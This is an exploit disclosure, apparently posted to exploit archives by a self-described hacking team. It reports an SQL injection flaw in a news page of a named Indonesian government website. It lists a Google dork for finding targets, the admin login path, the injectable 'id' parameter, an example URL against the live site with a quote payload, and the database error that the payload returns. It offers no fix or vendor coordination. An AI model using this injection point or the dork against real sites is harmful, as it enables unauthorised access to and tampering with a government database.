###################################################################
# Exploit Title : Kementerian Perindustrian Balai Besar Pulp dan Kertas Indonesia SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 03/05/2019
# Vendor Homepage : bbpk.go.id
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : Kementerian Perindustrian Balai Besar Pulp dan Kertas site:go.id
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
Kementerian Perindustrian Balai Besar Pulp dan Kertas Indonesia is prone to an
SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query. Exploiting this issue could allow an attacker
to compromise the application, access or modify data, or exploit latent vulnerabilities
in the underlying database. A remote attacker can send a specially crafted request
to the vulnerable application and execute arbitrary SQL commands in
application`s database. Further exploitation of this vulnerability may result
in unauthorized data manipulation. An attacker can exploit this issue using
a browser or with any SQL Injector Tool.
###################################################################
# Admin Panel Login Path :
************************
/login.html
# SQL Injection Exploit :
**********************
/berita_tampil.php?id=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] bbpk.go.id/berita_tampil.php?id=1%27
###################################################################
# Example SQL Database Error :
****************************
SQL = #/berita_tampil.php
select * from berita where id_berita = order by id_berita desc
Error = You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near 'order by
id_berita desc' at line 2 [ErrCode = 1064]
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################